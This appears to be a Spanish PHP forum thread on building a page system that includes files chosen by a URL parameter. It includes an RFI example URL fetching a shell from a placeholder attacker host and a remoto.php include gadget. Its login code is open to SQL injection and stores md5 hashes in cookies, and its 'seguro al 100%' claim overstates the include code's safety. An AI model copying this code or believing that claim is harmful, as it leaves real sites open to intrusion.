<html>
<head>
<title>Pagina web</title>
</head>
<body>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td valign="top" width="20%">:: Principal<br>
:: <a href="index.php?id=galeria">Galeria</a><br>
:: <a href="index.php?id=informacio">Información</a><br>
:: <a href="index.php?id=descargas">Descargas</a></td>
<td valign="top">
<?PHP
if (isset($_GET['id'])) {
if (!empty($_GET['id']) && $_GET['id'] != "index") {
if (file_exists($_GET['id'].".php")) {
include ($_GET['id'].".php");
} else {
echo "No existe esta seccion";
}
} else {
include ("principal.php");
}
} else {
include ("principal.php");
}
?></td>
</tr>
</table>
</body>
</html>
Bienvenido al tutorial sobre el SISTEMA DE MODULACION en PHPeros.net
Un Sistema de modulacion nos facilita el desarrollo de una web
<a href="index.php?id=galeria">Galeria</a><br>
<a href="index.php?id=informacion">Información</a><br>
<a href="index.php?id=descargas">Descargas</a>
Para poder añadir mas secciones, solamente debes crear un archivo por ejemplo que se llame archivo.php y crear otro enlace del siguiente tipo:<a href="index.php?id=archivo">Seccion</a><br>
Podría usarse la funcion header() para mostrar errores, 404, 400, 401... Pero como sabeis si hay algo escrito antes de usar esa función no funciona.dices que si no uso la funcion header() en el sistema de modulacion no funciona las pag de error o qu si no meto header() en las paginas de error no funciona la pag...
pero ami me habían dicho que ese codigo es el mas facil de hackear es verdad?Pues a mi a simple vista me parece hackeable este script :S porque no estoy muy seguro despues lo probare en mi PC e intentare hacerle un rfi :S
si quieren checar si es hackeable hagan esto en el navegador pongan esto
tudominio.com/index.php?id=http://google.com
si les aparece google en la pagina esque es hackeable en caso de que te diga que el archivo no existe o algo asi esque es seguro ;D
El problema los codigos que son hackeables mediante RFI es que directamente hacen algo como:
include($_GET['id'].".php");
Con esto pueden hackearte directamente haciendo algo como:
http://www.tuweb.com/?id=http://www.webdelhacker.com/ruta_shell
Todos los archivos php podrán ser incrustados en tu web y de esta forma seria hackeada.
No es hackeable mediante RFI ;)Y todo eso, de donde lo sacas eh?COMPROBADO - Seguro al 100%
Buenas,
No es imposible tampoco,, se podría hacer teniendo un archivo llamado remoto.php que cogiera & incluyera la url vía GET
remoto.php
<?
include($_GET["url"]);
?>
Y accediendo así ?id=remoto&url=url , se podría acceder ;), aunque sería de bobos hacer eso... pero alguno habrá..
Saludos :)
<?PHP
if (isset($_GET['id'])) {
if (!empty($_GET['id']) && $_GET['id'] != "index") {
if (file_exists($_GET['id'].".php")) {
include ($_GET['id'].".php");
} else {
echo "No existe esta seccion";
}
} else {
include ("principal.php");
}
} else {
include ("principal.php");
}
?>
index.php?id=seccion
y creo el archivo principal, y en ese archivo pongo lo que quiero, pero una vez creado esoTienes que ponerle de nombre al archivo igual del que quieres que ponga en id=nombre_del_archivo_a_incluir
Algo debes hacer mal! FIJO!
Repasatelo porfavor ;)
<?PHP
if (isset($_GET['id'])) {
if (!empty($_GET['id']) && $_GET['id'] != "index") {
if (file_exists($_GET['id'].".php")) {
include ($_GET['id'].".php");
} else {
echo "No existe esta seccion";
}
} else {
include ("principal.php");
}
} else {
include ("principal.php");
}
?>
index.php?id=seccion
y lo de seccion, se que ai que cambiarlo, que no soy tonto xD
Para ver si te equivocas tu o el codigo prueba a hacer esto:
1o - Crea index.php, y copia y pega el codigo de naveda en el
2o - Crea noticias.php y escribe lo que sea
3o - Ve a tu localhost a la pagina index y coloca en id: noticias
(index.php?id=noticias)
<title>titulo de la web - Nombre de la sección</title>
Este tipo de sistema no deja libres el uso de SHELL?Tal y como está aquí, no
¿Que es SHELL?Es un archivo basado en php basado en las funciones system(), execute(), cmd(), en el que puedes puedes manejar los archivos de un hosting como una WebFTP, y puede ser insertado en un host por medio de rfi.
Es un archivo basado en php basado en las funciones system(), execute(), cmd(), en el que puedes puedes manejar los archivos de un hosting como una WebFTP, y puede ser insertado en un host por medio de rfi.Un shell o una vulnerabilidad RFI, es la ejecucion de codigo PHP arbitrario en una pagina web.
Este tipo de sistema no deja libres el uso de SHELL?no, porque (repitiendo ya por la 5ta vez lo que han dicho los demas) verifica que el archivo exista en el host usando file_exists()
Pues si lo que quieres es abrir un archivo .php en X carpeta, solo debes especificarlo en la URL. Osea que si pones http://miweb.com/index.php?seccion=noticias/ver, abriría el archivo http://miweb.com/noticias/ver.php.No yo solo quieor la acrpeta es decir si la carpeta se llama ''micarpeta'' pues abrirlo asi: misitio.com?=micarpeta
¿Es eso lo que quieres?
Entonces modifica el código original :P es sencillo, sólo usa la lógica...Ya lo he intentado mira como le he dajdo, peor da fallo:
<?PHP
if (isset($_GET['id'])) {
if (!empty($_GET['id']) && $_GET['id'] != "index") {
if (file_exists($_GET['id'])) {
include ("./".$_GET['id']");
} else {
echo "No existe esta seccion";
}
} else {
include ("principal.php");
}
} else {
include ("principal.php");
}
?>
<?phpMiiiiiiiiiiil gracias, ahora lo pruebo, te ganas un karma.
if(isset($_GET['carpeta']))
{
if(!empty($_GET['carpeta']))
{
if(file_exists($_GET['carpeta'].'/index.php'))
{
include($_GET['carpeta'].'/index.php');
}
else
{
echo 'Esta carpeta no existe.';
}
}
else
{
include("noticias/index.php");
}
}
else
{
include("noticias/index.php");
}
?>
Ahí ya está, para acceder a X carpeta sólo debes de poner http://tuweb.com/index.php?carpeta=NOMBREDELACARPETA ;)
Saludos.
Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\portal\index.php:45) in C:\xampp\htdocs\portal\login.php on line 34
Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\portal\index.php:45) in C:\xampp\htdocs\portal\login.php on line 35
Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\portal\index.php:45) in C:\xampp\htdocs\portal\login.php on line 36
<?PHP
if (isset($_GET['id'])) {
if (!empty($_GET['id']) && $_GET['id'] != "index") {
if (file_exists($_GET['id'].".php")) {
include ($_GET['id'].".php");
} else {
echo "No existe esta seccion";
}
} else {
include ("principal.php");
}
} else {
include ("principal.php");
}
?>
</div>
</div>
</div>
<!-- end #content -->
<div id="sidebar">
<ul>
<?PHP
include 'cookie.php';
if($loginCorrecto){echo "<br>Bienvenido <b>".$_COOKIE["usNick"]."</b>";}
else{
include ("login.php");}
?>
<?PHP @session_start();
if (isset($_POST['action']) == "checkdata2") {
}
else{ @header("Location: http://localhost/portal/"); };
?>
<li id="search">
<h3>LOGIN</h3>
<?PHP
$usuario = $_POST['usuario'];
$password = $_POST['password'];
include ("registro/conexion.php");
if (isset($_POST['action']) == "checkdata2") {
if (($_SESSION['tmptxt']) == ($_POST['tmptxt'])) {
if($usuario = NULL || $password == NULL)
{
echo 'ERROR';
}
else
{
$usuario = $_POST['usuario'];
$password = $_POST['password'];
$password = md5($password);
$consulta = mysql_query("SELECT * FROM usuarios WHERE nick='$usuario' AND password='$password'",$conexion) or die ("Error");
$resultado = mysql_num_rows($consulta);
if($resultado != '1')
{
echo "<center></p><b>Datos del usuario <b>".$usuario."</b> no encontrados o incorrectos.</b></p></center>";
}
if($resultado == '1')
{ ob_start();
setcookie("usNick",$usuario,time()+7776000);
setcookie("usPass",$password,time()+7776000);
header('location: index.php');
}
}
}else{
echo "<center><p>Verificacion incorrecta.</p></center>";}
}
?>
<form name="form1" id="form1" method="post" action="<?php echo $PHP_SELF;?>">
<p>
<input name="usuario" type="text" value="nombre..." />
</p>
<p>
<input name="password" type="password" value="contra" />
</p>
<p> <div align="left"><img src="registro/captcha.php"></div> </p>
<p> <input maxlength="7" type="text" name="tmptxt"></p>
<p>
<input type="submit" name="Submit" value="Entrar" />
<input name="action" type="hidden" value="checkdata2">
</p>
</form>
</li>
<title>MiSitio ~ Home</title><title>Página no encontrada</title>
if(empty ($_GET['seccion']))
echo "<title>MiSitio ~ Home</title>";
if($_GET['seccion'] == "ediciones")
echo "<title>MiSitio ~ Ediciones</title>";
if($_GET['seccion'] == "spots")
echo "<title>MiSitio ~ Spots</title>";
if($_GET['seccion'] == "galeria")
echo "<title>MiSitio ~ Galería</title>";
if($_GET['seccion'] == "comentario")
echo "<title>MiSitio ~ Deja un comentario</title>";
if($_GET['seccion'] == "acerca_de")
echo "<title>MiSitio ~ Acerca de MiSitio</title>";
if($_GET['seccion'] == "contacto")
echo "<title>MiSitio ~ Contacto</title>";
else
echo "<title>Página no encontrada</title>";
¡Gracias por el sistema! funciona de maravilla :D
Ahora, me surgieron un par de dudas:
Si por ejemplo quiero que los usuarios sólo puedan entrar por "www.sitio.com/index.php?seccion=prueba" y no por "www.sitio.com/prueba.php" ¿Cómo tendría que hacer?
También cree un pequeño código para que el título concuerde con la página en la que se está actualmente, esto claro, con el ejemplo que posteó TLX (Gracias también :)), el título concuerda pefectamente y se muestra bien, pero al ver el código fuente de la página, aparece lo siguiente:
Este es el código que usé:
Un saludo y gracias de antemano. :-[
<?php
if(!empty($_GET['seccion'])){
switch ($_GET['seccion']) {
case 'ediciones';
echo "<title>MiSitio ~ Ediciones</title>";
break;
case 'spots';
echo "<title>MiSitio ~ Spots</title>";
break;
case 'galeria';
echo "<title>MiSitio ~ Galería</title>";
break;
case 'comentario';
echo "<title>MiSitio ~ Deja un comentario</title>";
break;
case 'acerca_de';
echo "<title>MiSitio ~ Acerca de MiSitio</title>";
break;
case 'contacto';
echo "<title>MiSitio ~ Contacto</title>";
break;
}}else{
echo "<title>MiSitio ~ Home</title>";
}
?>
¡Perfecto! Muchísimas gracias por tu pronta respuesta (: parece que deberé repasar el uso de "switch" jeje.
Ojalá que alguien pueda ayudarme a resolver mi otro interrogante :-[.
Un saludo y gracias nuevamente.
Si por ejemplo quiero que los usuarios sólo puedan entrar por "www.sitio.com/index.php?seccion=prueba" y no por "www.sitio.com/prueba.php" ¿Cómo tendría que hacer?
<?php
if(isset($_GET['seccion'])) {
?>
Aqui el contenido de la web...
<?php
}
?>
Por lo de:
Es super fácil.
Lo que tienes es que hacer un if para saber si el get existe, Como vas a hacer include no afectaría en nada. Ejemplo:Código: [Seleccionar]<?php
if(isset($_GET['seccion'])) {
?>
Aqui el contenido de la web...
<?php
}
?>
Saludos
Pufff, eso es gasto innecesario de líneas, basta con poner un define en el index, y luego en cada archivo comprobar si se definió la variable...
Fue solo un ejemplo, Por las preguntas del usuario esta lógico que es novato en php.
if (!empty($_GET['seccion'])) {
switch ($_GET['seccion']) {
case 'ediciones';
echo "<title>MiSitio ~ Ediciones</title>";
break;
case 'spots';
echo "<title>MiSitio ~ Spots</title>";
break;
case 'galeria';
echo "<title>MiSitio ~ Galería</title>";
break;
case 'comentario';
echo "<title>MiSitio ~ Deja un comentario</title>";
break;
case 'acerca_de';
echo "<title>MiSitio ~ Acerca de MiSitio</title>";
break;
case 'contacto';
echo "<title>MiSitio ~ Contacto</title>";
break;
default:
echo "<title>Página no encontrada</title>";
}
} else {
echo "<title>MiSitio ~ Home</title>";
}
?>